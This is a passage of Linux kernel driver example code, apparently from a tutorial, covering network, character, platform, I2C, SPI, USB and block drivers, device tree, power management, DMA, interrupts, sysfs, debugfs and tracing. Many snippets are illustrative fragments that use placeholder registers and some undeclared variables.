	netif_start_queue(dev);

	pr_info("Network device opened\n");
	return 0;
}

static int my_net_stop(struct net_device *dev)
{
	struct my_net_priv *priv = netdev_priv(dev);

	netif_stop_queue(dev);

	napi_disable(&priv->napi);
	/* Free IRQ */
	/* Disable hardware */

	pr_info("Network device closed\n");
	return 0;
}

static netdev_tx_t my_net_start_xmit(struct sk_buff *skb,
				     struct net_device *dev)
{
	struct my_net_priv *priv = netdev_priv(dev);

	/* Transmit packet */
	/* Write to hardware TX ring */

	dev->stats.tx_packets++;
	dev->stats.tx_bytes += skb->len;

	dev_kfree_skb(skb);

	return NETDEV_TX_OK;
}

static int my_net_poll(struct napi_struct *napi, int budget)
{
	struct my_net_priv *priv = container_of(napi, struct my_net_priv, napi);
	struct net_device *dev = priv->dev;
	int work_done = 0;
	struct sk_buff *skb;

	/* Process RX packets */
	while (work_done < budget) {
		/* Get packet from hardware */
		skb = my_get_rx_packet(priv);
		if (!skb)
			break;

		skb->dev = dev;
		skb->protocol = eth_type_trans(skb, dev);

		netif_receive_skb(skb);

		dev->stats.rx_packets++;
		dev->stats.rx_bytes += skb->len;

		work_done++;
	}

	if (work_done < budget) {
		napi_complete(napi);
		/* Re-enable interrupts */
	}

	return work_done;
}

static const struct net_device_ops my_netdev_ops = {
	.ndo_open = my_net_open,
	.ndo_stop = my_net_stop,
	.ndo_start_xmit = my_net_start_xmit,
};

static int create_net_device(struct device *parent)
{
	struct net_device *dev;
	struct my_net_priv *priv;
	int ret;

	dev = alloc_etherdev(sizeof(*priv));
	if (!dev)
		return -ENOMEM;

	priv = netdev_priv(dev);
	priv->dev = dev;

	dev->netdev_ops = &my_netdev_ops;
	dev->watchdog_timeo = 5 * HZ;

	/* Set MAC address */
	eth_hw_addr_random(dev);

	/* Setup NAPI */
	netif_napi_add(dev, &priv->napi, my_net_poll, 64);

	SET_NETDEV_DEV(dev, parent);

	ret = register_netdev(dev);
	if (ret) {
		free_netdev(dev);
		return ret;
	}

	return 0;
}

#include <linux/module.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/uaccess.h>

#define DEVICE_NAME "mychardev"
#define CLASS_NAME "myclass"

static int major_number;
static struct class *my_class;
static struct device *my_device;
static struct cdev my_cdev;

static char message[256] = "Hello from driver";
static short message_len;
static int times_opened = 0;

static int dev_open(struct inode *inode, struct file *file)
{
	times_opened++;
	pr_info("Device opened %d times\n", times_opened);
	return 0;
}

static int dev_release(struct inode *inode, struct file *file)
{
	pr_info("Device closed\n");
	return 0;
}

static ssize_t dev_read(struct file *file, char __user *buffer,
			size_t len, loff_t *offset)
{
	int bytes_to_read;

	if (*offset >= message_len)
		return 0;

	bytes_to_read = min(len, (size_t)(message_len - *offset));

	if (copy_to_user(buffer, message + *offset, bytes_to_read))
		return -EFAULT;

	*offset += bytes_to_read;

	pr_info("Sent %d characters to user\n", bytes_to_read);

	return bytes_to_read;
}

static ssize_t dev_write(struct file *file, const char __user *buffer,
			 size_t len, loff_t *offset)
{
	size_t bytes_to_write = min(len, sizeof(message) - 1);

	if (copy_from_user(message, buffer, bytes_to_write))
		return -EFAULT;

	message[bytes_to_write] = '\0';
	message_len = bytes_to_write;

	pr_info("Received %zu characters from user\n", bytes_to_write);

	return bytes_to_write;
}

static struct file_operations fops = {
	.owner = THIS_MODULE,
	.open = dev_open,
	.release = dev_release,
	.read = dev_read,
	.write = dev_write,
};

static int __init chardev_init(void)
{
	int ret;
	dev_t dev;

	/* Allocate major number */
	ret = alloc_chrdev_region(&dev, 0, 1, DEVICE_NAME);
	if (ret < 0) {
		pr_err("Failed to allocate major number\n");
		return ret;
	}

	major_number = MAJOR(dev);
	pr_info("Registered with major number %d\n", major_number);

	/* Initialize cdev */
	cdev_init(&my_cdev, &fops);
	my_cdev.owner = THIS_MODULE;

	/* Add cdev */
	ret = cdev_add(&my_cdev, dev, 1);
	if (ret < 0) {
		unregister_chrdev_region(dev, 1);
		pr_err("Failed to add cdev\n");
		return ret;
	}

	/* Create class */
	my_class = class_create(THIS_MODULE, CLASS_NAME);
	if (IS_ERR(my_class)) {
		cdev_del(&my_cdev);
		unregister_chrdev_region(dev, 1);
		pr_err("Failed to create class\n");
		return PTR_ERR(my_class);
	}

	/* Create device */
	my_device = device_create(my_class, NULL, dev, NULL, DEVICE_NAME);
	if (IS_ERR(my_device)) {
		class_destroy(my_class);
		cdev_del(&my_cdev);
		unregister_chrdev_region(dev, 1);
		pr_err("Failed to create device\n");
		return PTR_ERR(my_device);
	}

	message_len = strlen(message);

	pr_info("Character device driver loaded\n");
	return 0;
}

static void __exit chardev_exit(void)
{
	dev_t dev = MKDEV(major_number, 0);

	device_destroy(my_class, dev);
	class_destroy(my_class);
	cdev_del(&my_cdev);
	unregister_chrdev_region(dev, 1);

	pr_info("Character device driver unloaded\n");
}

module_init(chardev_init);
module_exit(chardev_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Driver Developer");
MODULE_DESCRIPTION("Simple character device driver");

#include <linux/platform_device.h>
#include <linux/mod_devicetable.h>
#include <linux/io.h>
#include <linux/of.h>

struct my_platform_dev {
	struct device *dev;
	void __iomem *base;
	struct resource *res;
	int irq;
};

static int my_platform_probe(struct platform_device *pdev)
{
	struct my_platform_dev *priv;
	struct resource *res;
	int ret;

	pr_info("Platform driver probe\n");

	priv = devm_kzalloc(&pdev->dev, sizeof(*priv), GFP_KERNEL);
	if (!priv)
		return -ENOMEM;

	priv->dev = &pdev->dev;

	/* Get memory resource */
	res = platform_get_resource(pdev, IORESOURCE_MEM, 0);
	if (!res) {
		dev_err(&pdev->dev, "No memory resource\n");
		return -ENODEV;
	}

	/* Map registers */
	priv->base = devm_ioremap_resource(&pdev->dev, res);
	if (IS_ERR(priv->base))
		return PTR_ERR(priv->base);

	/* Get IRQ */
	priv->irq = platform_get_irq(pdev, 0);
	if (priv->irq < 0) {
		dev_err(&pdev->dev, "No IRQ resource\n");
		return priv->irq;
	}

	/* Request IRQ */
	ret = devm_request_irq(&pdev->dev, priv->irq, my_irq_handler,
			       IRQF_SHARED, dev_name(&pdev->dev), priv);
	if (ret) {
		dev_err(&pdev->dev, "Failed to request IRQ\n");
		return ret;
	}

	/* Store private data */
	platform_set_drvdata(pdev, priv);

	/* Initialize hardware */
	writel(0x1, priv->base + CTRL_REG);

	dev_info(&pdev->dev, "Device initialized\n");

	return 0;
}

static int my_platform_remove(struct platform_device *pdev)
{
	struct my_platform_dev *priv = platform_get_drvdata(pdev);

	/* Shutdown hardware */
	writel(0x0, priv->base + CTRL_REG);

	dev_info(&pdev->dev, "Device removed\n");

	return 0;
}

/* Device tree match table */
static const struct of_device_id my_of_match[] = {
	{ .compatible = "vendor,my-device" },
	{ .compatible = "vendor,my-device-v2" },
	{ }
};
MODULE_DEVICE_TABLE(of, my_of_match);

/* Platform device ID table (for non-DT systems) */
static const struct platform_device_id my_platform_ids[] = {
	{ .name = "my-device" },
	{ }
};
MODULE_DEVICE_TABLE(platform, my_platform_ids);

static struct platform_driver my_platform_driver = {
	.probe = my_platform_probe,
	.remove = my_platform_remove,
	.driver = {
		.name = "my-device",
		.of_match_table = my_of_match,
	},
	.id_table = my_platform_ids,
};

module_platform_driver(my_platform_driver);

MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Platform device driver");

#include <linux/i2c.h>

struct my_i2c_dev {
	struct i2c_client *client;
	struct device *dev;
};

static int my_i2c_probe(struct i2c_client *client,
			const struct i2c_device_id *id)
{
	struct my_i2c_dev *priv;
	u8 buf[2];
	int ret;

	dev_info(&client->dev, "I2C device probed\n");

	priv = devm_kzalloc(&client->dev, sizeof(*priv), GFP_KERNEL);
	if (!priv)
		return -ENOMEM;

	priv->client = client;
	priv->dev = &client->dev;

	i2c_set_clientdata(client, priv);

	/* Read device ID */
	ret = i2c_smbus_read_byte_data(client, REG_ID);
	if (ret < 0) {
		dev_err(&client->dev, "Failed to read device ID\n");
		return ret;
	}

	dev_info(&client->dev, "Device ID: 0x%02x\n", ret);

	/* Write configuration */
	buf[0] = REG_CONFIG;
	buf[1] = 0x80;
	ret = i2c_master_send(client, buf, 2);
	if (ret < 0) {
		dev_err(&client->dev, "Failed to write config\n");
		return ret;
	}

	return 0;
}

static int my_i2c_remove(struct i2c_client *client)
{
	dev_info(&client->dev, "I2C device removed\n");
	return 0;
}

static const struct i2c_device_id my_i2c_ids[] = {
	{ "my-i2c-device", 0 },
	{ }
};
MODULE_DEVICE_TABLE(i2c, my_i2c_ids);

static const struct of_device_id my_i2c_of_match[] = {
	{ .compatible = "vendor,my-i2c-device" },
	{ }
};
MODULE_DEVICE_TABLE(of, my_i2c_of_match);

static struct i2c_driver my_i2c_driver = {
	.driver = {
		.name = "my-i2c-device",
		.of_match_table = my_i2c_of_match,
	},
	.probe = my_i2c_probe,
	.remove = my_i2c_remove,
	.id_table = my_i2c_ids,
};

module_i2c_driver(my_i2c_driver);

#include <linux/spi/spi.h>

struct my_spi_dev {
	struct spi_device *spi;
	struct device *dev;
};

static int my_spi_probe(struct spi_device *spi)
{
	struct my_spi_dev *priv;
	u8 tx_buf[2], rx_buf[2];
	int ret;

	dev_info(&spi->dev, "SPI device probed\n");

	priv = devm_kzalloc(&spi->dev, sizeof(*priv), GFP_KERNEL);
	if (!priv)
		return -ENOMEM;

	priv->spi = spi;
	priv->dev = &spi->dev;

	spi_set_drvdata(spi, priv);

	/* Configure SPI mode and speed */
	spi->mode = SPI_MODE_0;
	spi->max_speed_hz = 1000000;
	spi->bits_per_word = 8;

	ret = spi_setup(spi);
	if (ret < 0) {
		dev_err(&spi->dev, "Failed to setup SPI\n");
		return ret;
	}

	/* Read register */
	tx_buf[0] = READ_CMD | REG_ID;
	tx_buf[1] = 0x00;

	ret = spi_write_then_read(spi, tx_buf, 1, rx_buf, 1);
	if (ret < 0) {
		dev_err(&spi->dev, "Failed to read register\n");
		return ret;
	}

	dev_info(&spi->dev, "Device ID: 0x%02x\n", rx_buf[0]);

	return 0;
}

static int my_spi_remove(struct spi_device *spi)
{
	dev_info(&spi->dev, "SPI device removed\n");
	return 0;
}

static const struct of_device_id my_spi_of_match[] = {
	{ .compatible = "vendor,my-spi-device" },
	{ }
};
MODULE_DEVICE_TABLE(of, my_spi_of_match);

static const struct spi_device_id my_spi_ids[] = {
	{ "my-spi-device", 0 },
	{ }
};
MODULE_DEVICE_TABLE(spi, my_spi_ids);

static struct spi_driver my_spi_driver = {
	.driver = {
		.name = "my-spi-device",
		.of_match_table = my_spi_of_match,
	},
	.probe = my_spi_probe,
	.remove = my_spi_remove,
	.id_table = my_spi_ids,
};

module_spi_driver(my_spi_driver);

#include <linux/usb.h>

struct my_usb_dev {
	struct usb_device *udev;
	struct usb_interface *interface;
	struct urb *int_in_urb;
	unsigned char *int_in_buffer;
};

static void my_int_callback(struct urb *urb)
{
	struct my_usb_dev *dev = urb->context;
	int status = urb->status;

	switch (status) {
	case 0:
		/* Success */
		dev_info(&dev->interface->dev, "Data: %*ph\n",
			 urb->actual_length, dev->int_in_buffer);
		break;
	case -ECONNRESET:
	case -ENOENT:
	case -ESHUTDOWN:
		/* URB killed */
		return;
	default:
		dev_err(&dev->interface->dev, "URB error: %d\n", status);
		break;
	}

	/* Resubmit URB */
	usb_submit_urb(urb, GFP_ATOMIC);
}

static int my_usb_probe(struct usb_interface *interface,
			const struct usb_device_id *id)
{
	struct my_usb_dev *dev;
	struct usb_host_interface *iface_desc;
	struct usb_endpoint_descriptor *endpoint;
	int ret;

	dev_info(&interface->dev, "USB device probed\n");

	dev = kzalloc(sizeof(*dev), GFP_KERNEL);
	if (!dev)
		return -ENOMEM;

	dev->udev = usb_get_dev(interface_to_usbdev(interface));
	dev->interface = interface;

	/* Get endpoint descriptors */
	iface_desc = interface->cur_altsetting;

	for (int i = 0; i < iface_desc->desc.bNumEndpoints; i++) {
		endpoint = &iface_desc->endpoint[i].desc;

		if (usb_endpoint_is_int_in(endpoint)) {
			/* Found interrupt IN endpoint */
			dev->int_in_buffer = kmalloc(
				le16_to_cpu(endpoint->wMaxPacketSize),
				GFP_KERNEL);
			if (!dev->int_in_buffer) {
				ret = -ENOMEM;
				goto error;
			}

			dev->int_in_urb = usb_alloc_urb(0, GFP_KERNEL);
			if (!dev->int_in_urb) {
				ret = -ENOMEM;
				goto error;
			}

			usb_fill_int_urb(dev->int_in_urb, dev->udev,
				usb_rcvintpipe(dev->udev, endpoint->bEndpointAddress),
				dev->int_in_buffer,
				le16_to_cpu(endpoint->wMaxPacketSize),
				my_int_callback,
				dev,
				endpoint->bInterval);

			/* Submit URB */
			ret = usb_submit_urb(dev->int_in_urb, GFP_KERNEL);
			if (ret) {
				dev_err(&interface->dev, "Failed to submit URB\n");
				goto error;
			}
		}
	}

	usb_set_intfdata(interface, dev);

	return 0;

error:
	if (dev->int_in_urb)
		usb_free_urb(dev->int_in_urb);
	kfree(dev->int_in_buffer);
	usb_put_dev(dev->udev);
	kfree(dev);
	return ret;
}

static void my_usb_disconnect(struct usb_interface *interface)
{
	struct my_usb_dev *dev;

	dev = usb_get_intfdata(interface);

	usb_set_intfdata(interface, NULL);

	if (dev->int_in_urb) {
		usb_kill_urb(dev->int_in_urb);
		usb_free_urb(dev->int_in_urb);
	}

	kfree(dev->int_in_buffer);
	usb_put_dev(dev->udev);
	kfree(dev);

	dev_info(&interface->dev, "USB device disconnected\n");
}

static const struct usb_device_id my_usb_table[] = {
	{ USB_DEVICE(VENDOR_ID, PRODUCT_ID) },
	{ }
};
MODULE_DEVICE_TABLE(usb, my_usb_table);

static struct usb_driver my_usb_driver = {
	.name = "my-usb-device",
	.probe = my_usb_probe,
	.disconnect = my_usb_disconnect,
	.id_table = my_usb_table,
};

module_usb_driver(my_usb_driver);

#include <linux/blk-mq.h>

struct my_blk_dev {
	struct blk_mq_tag_set tag_set;
	struct request_queue *queue;
	struct gendisk *disk;

	void *data;
	size_t size;
};

static blk_status_t my_queue_rq(struct blk_mq_hw_ctx *hctx,
				const struct blk_mq_queue_data *bd)
{
	struct request *rq = bd->rq;
	struct my_blk_dev *dev = rq->q->queuedata;
	struct bio_vec bvec;
	struct req_iterator iter;
	sector_t pos = blk_rq_pos(rq);
	void *buffer;
	unsigned long offset = pos * SECTOR_SIZE;

	blk_mq_start_request(rq);

	rq_for_each_segment(bvec, rq, iter) {
		buffer = page_address(bvec.bv_page) + bvec.bv_offset;

		if (rq_data_dir(rq) == WRITE)
			memcpy(dev->data + offset, buffer, bvec.bv_len);
		else
			memcpy(buffer, dev->data + offset, bvec.bv_len);

		offset += bvec.bv_len;
	}

	blk_mq_end_request(rq, BLK_STS_OK);

	return BLK_STS_OK;
}

static const struct blk_mq_ops my_mq_ops = {
	.queue_rq = my_queue_rq,
};

static int create_blkmq_device(struct my_blk_dev *dev)
{
	int ret;

	/* Initialize tag set */
	memset(&dev->tag_set, 0, sizeof(dev->tag_set));
	dev->tag_set.ops = &my_mq_ops;
	dev->tag_set.nr_hw_queues = 1;
	dev->tag_set.queue_depth = 128;
	dev->tag_set.numa_node = NUMA_NO_NODE;
	dev->tag_set.cmd_size = 0;
	dev->tag_set.flags = BLK_MQ_F_SHOULD_MERGE;
	dev->tag_set.driver_data = dev;

	ret = blk_mq_alloc_tag_set(&dev->tag_set);
	if (ret)
		return ret;

	/* Allocate queue */
	dev->queue = blk_mq_init_queue(&dev->tag_set);
	if (IS_ERR(dev->queue)) {
		blk_mq_free_tag_set(&dev->tag_set);
		return PTR_ERR(dev->queue);
	}

	dev->queue->queuedata = dev;

	/* Allocate disk */
	dev->disk = alloc_disk(1);
	if (!dev->disk) {
		blk_cleanup_queue(dev->queue);
		blk_mq_free_tag_set(&dev->tag_set);
		return -ENOMEM;
	}

	dev->disk->major = MY_MAJOR;
	dev->disk->first_minor = 0;
	dev->disk->fops = &my_bdev_ops;
	dev->disk->queue = dev->queue;
	dev->disk->private_data = dev;
	snprintf(dev->disk->disk_name, 32, "myblkmq");
	set_capacity(dev->disk, dev->size / SECTOR_SIZE);

	add_disk(dev->disk);

	return 0;
}

/* my-device.dts */
/dts-v1/;

/ {
	compatible = "vendor,my-board";
	#address-cells = <1>;
	#size-cells = <1>;

	my_device: my-device@40000000 {
		compatible = "vendor,my-device";
		reg = <0x40000000 0x1000>;
		interrupts = <0 25 4>;
		clocks = <&clk_peripheral>;
		clock-names = "peripheral";
		status = "okay";

		/* Custom properties */
		vendor,feature-enable;
		vendor,threshold = <100>;
		vendor,string-prop = "value";
	};

	i2c@40005000 {
		compatible = "vendor,i2c";
		reg = <0x40005000 0x1000>;
		#address-cells = <1>;
		#size-cells = <0>;

		sensor@48 {
			compatible = "vendor,temperature-sensor";
			reg = <0x48>;
		};
	};
};

#include <linux/of.h>
#include <linux/of_device.h>
#include <linux/of_irq.h>

static int my_probe(struct platform_device *pdev)
{
	struct device *dev = &pdev->dev;
	struct device_node *np = dev->of_node;
	u32 threshold;
	const char *string_prop;
	int ret;

	/* Check compatible string */
	if (!of_device_is_compatible(np, "vendor,my-device"))
		return -ENODEV;

	/* Read u32 property */
	ret = of_property_read_u32(np, "vendor,threshold", &threshold);
	if (ret) {
		dev_err(dev, "Failed to read threshold\n");
		return ret;
	}

	dev_info(dev, "Threshold: %u\n", threshold);

	/* Read string property */
	ret = of_property_read_string(np, "vendor,string-prop", &string_prop);
	if (ret == 0)
		dev_info(dev, "String property: %s\n", string_prop);

	/* Check boolean property */
	if (of_property_read_bool(np, "vendor,feature-enable"))
		dev_info(dev, "Feature enabled\n");

	/* Get resource from reg property */
	res = platform_get_resource(pdev, IORESOURCE_MEM, 0);

	/* Get IRQ */
	irq = irq_of_parse_and_map(np, 0);

	/* Get clock */
	clk = devm_clk_get(dev, "peripheral");
	if (IS_ERR(clk))
		return PTR_ERR(clk);

	/* Get regulator */
	regulator = devm_regulator_get(dev, "vdd");

	return 0;
}

#include <linux/pm.h>
#include <linux/pm_runtime.h>

/* System suspend/resume */
static int my_suspend(struct device *dev)
{
	struct my_dev *priv = dev_get_drvdata(dev);

	dev_info(dev, "Suspending\n");

	/* Save state */
	priv->saved_state = readl(priv->base + STATE_REG);

	/* Disable device */
	writel(0, priv->base + CTRL_REG);

	/* Gate clock */
	clk_disable_unprepare(priv->clk);

	return 0;
}

static int my_resume(struct device *dev)
{
	struct my_dev *priv = dev_get_drvdata(dev);
	int ret;

	dev_info(dev, "Resuming\n");

	/* Ungate clock */
	ret = clk_prepare_enable(priv->clk);
	if (ret)
		return ret;

	/* Restore state */
	writel(priv->saved_state, priv->base + STATE_REG);

	/* Enable device */
	writel(1, priv->base + CTRL_REG);

	return 0;
}

/* Runtime PM */
static int my_runtime_suspend(struct device *dev)
{
	struct my_dev *priv = dev_get_drvdata(dev);

	dev_dbg(dev, "Runtime suspend\n");

	clk_disable_unprepare(priv->clk);

	return 0;
}

static int my_runtime_resume(struct device *dev)
{
	struct my_dev *priv = dev_get_drvdata(dev);
	int ret;

	dev_dbg(dev, "Runtime resume\n");

	ret = clk_prepare_enable(priv->clk);
	if (ret)
		return ret;

	return 0;
}

static const struct dev_pm_ops my_pm_ops = {
	SET_SYSTEM_SLEEP_PM_OPS(my_suspend, my_resume)
	SET_RUNTIME_PM_OPS(my_runtime_suspend, my_runtime_resume, NULL)
};

/* Using runtime PM */
static int my_do_something(struct my_dev *priv)
{
	int ret;

	/* Get PM reference (resume device if suspended) */
	ret = pm_runtime_get_sync(priv->dev);
	if (ret < 0) {
		pm_runtime_put_noidle(priv->dev);
		return ret;
	}

	/* Do work */
	writel(0x1, priv->base + CMD_REG);

	/* Release PM reference */
	pm_runtime_mark_last_busy(priv->dev);
	pm_runtime_put_autosuspend(priv->dev);

	return 0;
}

#include <linux/dma-mapping.h>

struct my_dma_dev {
	struct device *dev;
	dma_addr_t dma_handle;
	void *cpu_addr;
	size_t size;
};

/* Coherent (consistent) DMA mapping */
static int setup_coherent_dma(struct my_dma_dev *priv)
{
	priv->size = 4096;

	priv->cpu_addr = dma_alloc_coherent(priv->dev, priv->size,
					    &priv->dma_handle, GFP_KERNEL);
	if (!priv->cpu_addr)
		return -ENOMEM;

	pr_info("DMA buffer: cpu=%p dma=%pad\n",
		priv->cpu_addr, &priv->dma_handle);

	/* Write data to DMA buffer */
	memset(priv->cpu_addr, 0xAA, priv->size);

	/* Program hardware with DMA address */
	writel(priv->dma_handle, priv->base + DMA_ADDR_REG);
	writel(priv->size, priv->base + DMA_SIZE_REG);
	writel(DMA_START, priv->base + DMA_CTRL_REG);

	return 0;
}

static void cleanup_coherent_dma(struct my_dma_dev *priv)
{
	if (priv->cpu_addr) {
		dma_free_coherent(priv->dev, priv->size,
				  priv->cpu_addr, priv->dma_handle);
		priv->cpu_addr = NULL;
	}
}

/* Streaming DMA mapping */
static int do_streaming_dma_tx(struct my_dma_dev *priv, void *buffer,
			       size_t len)
{
	dma_addr_t dma_addr;

	/* Map buffer for DMA */
	dma_addr = dma_map_single(priv->dev, buffer, len, DMA_TO_DEVICE);
	if (dma_mapping_error(priv->dev, dma_addr))
		return -ENOMEM;

	/* Program hardware */
	writel(dma_addr, priv->base + DMA_ADDR_REG);
	writel(len, priv->base + DMA_SIZE_REG);
	writel(DMA_START, priv->base + DMA_CTRL_REG);

	/* Wait for DMA completion (in real driver, use interrupt) */

	/* Unmap buffer */
	dma_unmap_single(priv->dev, dma_addr, len, DMA_TO_DEVICE);

	return 0;
}

/* Scatter-gather DMA */
static int do_sg_dma(struct my_dma_dev *priv, struct scatterlist *sgl,
		     int nents)
{
	int mapped_nents;
	struct scatterlist *sg;
	int i;

	/* Map scatter-gather list */
	mapped_nents = dma_map_sg(priv->dev, sgl, nents, DMA_TO_DEVICE);
	if (!mapped_nents)
		return -ENOMEM;

	/* Program hardware with each SG entry */
	for_each_sg(sgl, sg, mapped_nents, i) {
		writel(sg_dma_address(sg),
		       priv->base + DMA_SG_ADDR_REG(i));
		writel(sg_dma_len(sg),
		       priv->base + DMA_SG_LEN_REG(i));
	}

	writel(mapped_nents, priv->base + DMA_SG_COUNT_REG);
	writel(DMA_SG_START, priv->base + DMA_CTRL_REG);

	/* Wait for completion */

	/* Unmap */
	dma_unmap_sg(priv->dev, sgl, nents, DMA_TO_DEVICE);

	return 0;
}

/* Set DMA mask */
static int setup_dma(struct device *dev)
{
	int ret;

	/* Try 64-bit DMA */
	ret = dma_set_mask_and_coherent(dev, DMA_BIT_MASK(64));
	if (ret) {
		/* Fall back to 32-bit */
		ret = dma_set_mask_and_coherent(dev, DMA_BIT_MASK(32));
		if (ret) {
			dev_err(dev, "No suitable DMA available\n");
			return ret;
		}
	}

	return 0;
}

#include <linux/interrupt.h>

/* Interrupt handler (top half) */
static irqreturn_t my_irq_handler(int irq, void *dev_id)
{
	struct my_dev *priv = dev_id;
	u32 status;

	/* Read interrupt status */
	status = readl(priv->base + INT_STATUS_REG);

	if (!(status & MY_INT_MASK))
		return IRQ_NONE;  /* Not our interrupt */

	/* Clear interrupt */
	writel(status, priv->base + INT_STATUS_REG);

	/* Minimal processing */
	if (status & INT_ERROR)
		priv->errors++;

	/* Schedule bottom half */
	schedule_work(&priv->work);
	/* Or */
	tasklet_schedule(&priv->tasklet);

	return IRQ_HANDLED;
}

/* Bottom half (workqueue) */
static void my_work_func(struct work_struct *work)
{
	struct my_dev *priv = container_of(work, struct my_dev, work);

	/* Heavy processing that can sleep */
	mutex_lock(&priv->lock);
	/* Process data */
	mutex_unlock(&priv->lock);
}

/* Bottom half (tasklet) */
static void my_tasklet_func(unsigned long data)
{
	struct my_dev *priv = (struct my_dev *)data;

	/* Processing that cannot sleep */
	spin_lock(&priv->lock);
	/* Process data */
	spin_unlock(&priv->lock);
}

/* Threaded IRQ handler */
static irqreturn_t my_threaded_irq(int irq, void *dev_id)
{
	struct my_dev *priv = dev_id;

	/* This runs in a kernel thread, can sleep */
	mutex_lock(&priv->lock);

	/* Heavy processing */

	mutex_unlock(&priv->lock);

	return IRQ_HANDLED;
}

/* Setup interrupts */
static int setup_interrupts(struct my_dev *priv)
{
	int ret;

	/* Regular IRQ */
	ret = devm_request_irq(priv->dev, priv->irq, my_irq_handler,
			       IRQF_SHARED, "my-device", priv);
	if (ret) {
		dev_err(priv->dev, "Failed to request IRQ\n");
		return ret;
	}

	/* Threaded IRQ */
	ret = devm_request_threaded_irq(priv->dev, priv->irq,
					NULL, my_threaded_irq,
					IRQF_ONESHOT, "my-device", priv);
	if (ret) {
		dev_err(priv->dev, "Failed to request threaded IRQ\n");
		return ret;
	}

	/* Initialize work */
	INIT_WORK(&priv->work, my_work_func);

	/* Initialize tasklet */
	tasklet_init(&priv->tasklet, my_tasklet_func, (unsigned long)priv);

	return 0;
}

#include <linux/sysfs.h>

/* sysfs attribute */
static ssize_t threshold_show(struct device *dev,
			      struct device_attribute *attr,
			      char *buf)
{
	struct my_dev *priv = dev_get_drvdata(dev);

	return sprintf(buf, "%u\n", priv->threshold);
}

static ssize_t threshold_store(struct device *dev,
			       struct device_attribute *attr,
			       const char *buf, size_t count)
{
	struct my_dev *priv = dev_get_drvdata(dev);
	unsigned int val;
	int ret;

	ret = kstrtouint(buf, 0, &val);
	if (ret)
		return ret;

	if (val > MAX_THRESHOLD)
		return -EINVAL;

	priv->threshold = val;

	/* Update hardware */
	writel(val, priv->base + THRESHOLD_REG);

	return count;
}

static DEVICE_ATTR_RW(threshold);

/* Binary attribute (for large data) */
static ssize_t firmware_read(struct file *filp, struct kobject *kobj,
			     struct bin_attribute *attr,
			     char *buf, loff_t pos, size_t count)
{
	struct device *dev = kobj_to_dev(kobj);
	struct my_dev *priv = dev_get_drvdata(dev);

	if (pos >= priv->firmware_size)
		return 0;

	if (pos + count > priv->firmware_size)
		count = priv->firmware_size - pos;

	memcpy(buf, priv->firmware + pos, count);

	return count;
}

static BIN_ATTR_RO(firmware, 0);

/* Attribute group */
static struct attribute *my_attrs[] = {
	&dev_attr_threshold.attr,
	NULL,
};

static struct bin_attribute *my_bin_attrs[] = {
	&bin_attr_firmware,
	NULL,
};

static const struct attribute_group my_attr_group = {
	.attrs = my_attrs,
	.bin_attrs = my_bin_attrs,
};

/* Register attributes */
static int register_sysfs(struct my_dev *priv)
{
	return sysfs_create_group(&priv->dev->kobj, &my_attr_group);
}

static void unregister_sysfs(struct my_dev *priv)
{
	sysfs_remove_group(&priv->dev->kobj, &my_attr_group);
}

/* Alternative: Use device attribute groups directly */
static const struct attribute_group *my_attr_groups[] = {
	&my_attr_group,
	NULL,
};

/* Set in driver structure */
static struct device_driver my_driver = {
	.groups = my_attr_groups,
};

/* Use appropriate log level */
pr_emerg("System is unusable\n");
pr_alert("Action must be taken immediately\n");
pr_crit("Critical conditions\n");
pr_err("Error conditions\n");
pr_warn("Warning conditions\n");
pr_notice("Normal but significant\n");
pr_info("Informational\n");
pr_debug("Debug-level messages\n");

/* Device-specific logging (preferred) */
dev_err(dev, "Device error: %d\n", err);
dev_warn(dev, "Device warning\n");
dev_info(dev, "Device information\n");
dev_dbg(dev, "Device debug\n");

/* Rate limited logging */
dev_err_ratelimited(dev, "This might happen often\n");
dev_warn_once(dev, "Only print once\n");

#include <linux/debugfs.h>

struct my_dev {
	struct dentry *debugfs_dir;
	u32 debug_value;
};

static int register_debugfs(struct my_dev *priv)
{
	priv->debugfs_dir = debugfs_create_dir("my-device", NULL);
	if (!priv->debugfs_dir)
		return -ENOMEM;

	/* Create files */
	debugfs_create_u32("debug_value", 0644, priv->debugfs_dir,
			   &priv->debug_value);

	debugfs_create_file("registers", 0444, priv->debugfs_dir,
			    priv, &registers_fops);

	return 0;
}

static void unregister_debugfs(struct my_dev *priv)
{
	debugfs_remove_recursive(priv->debugfs_dir);
}

/* Custom debugfs file operations */
static int registers_show(struct seq_file *s, void *unused)
{
	struct my_dev *priv = s->private;

	seq_printf(s, "CTRL:   0x%08x\n", readl(priv->base + CTRL_REG));
	seq_printf(s, "STATUS: 0x%08x\n", readl(priv->base + STATUS_REG));
	seq_printf(s, "DATA:   0x%08x\n", readl(priv->base + DATA_REG));

	return 0;
}

static int registers_open(struct inode *inode, struct file *file)
{
	return single_open(file, registers_show, inode->i_private);
}

static const struct file_operations registers_fops = {
	.open = registers_open,
	.read = seq_read,
	.llseek = seq_lseek,
	.release = single_release,
};

/* Use trace_printk for fast debugging */
trace_printk("Fast trace: value=%d\n", value);

/* Define tracepoints */
#include <trace/events/my_driver.h>

TRACE_EVENT(my_event,
	TP_PROTO(int value, const char *msg),
	TP_ARGS(value, msg),
	TP_STRUCT__entry(
		__field(int, value)
		__string(msg, msg)
	),
	TP_fast_assign(
		__entry->value = value;
		__assign_str(msg, msg);
	),
	TP_printk("value=%d msg=%s", __entry->value, __get_str(msg))
);

/* Use tracepoint */
trace_my_event(42, "test message");

/* Always check return values */
ret = device_register(&my_device);
if (ret) {
	pr_err("Failed to register device: %d\n", ret);
	goto err_register;
}

/* Use goto for cleanup */
err_register:
	kfree(buffer);
err_alloc:
	return ret;

/* Use devm_* functions for automatic cleanup */
priv = devm_kzalloc(dev, sizeof(*priv), GFP_KERNEL);
priv->base = devm_ioremap_resource(dev, res);
devm_request_irq(dev, irq, handler, flags, name, dev_id);

/* Use appropriate allocation flags */
/* GFP_KERNEL: Can sleep (process context) */
ptr = kmalloc(size, GFP_KERNEL);

/* GFP_ATOMIC: Cannot sleep (interrupt context) */
ptr = kmalloc(size, GFP_ATOMIC);

/* Always check for NULL */
if (!ptr)
	return -ENOMEM;

/* Free memory */
kfree(ptr);

/* Use devm_* for automatic cleanup */
ptr = devm_kmalloc(dev, size, GFP_KERNEL);
/* No need to explicitly free */

/* Choose appropriate lock type */

/* Mutex: Can sleep, process context only */
mutex_lock(&priv->lock);
/* ... */
mutex_unlock(&priv->lock);

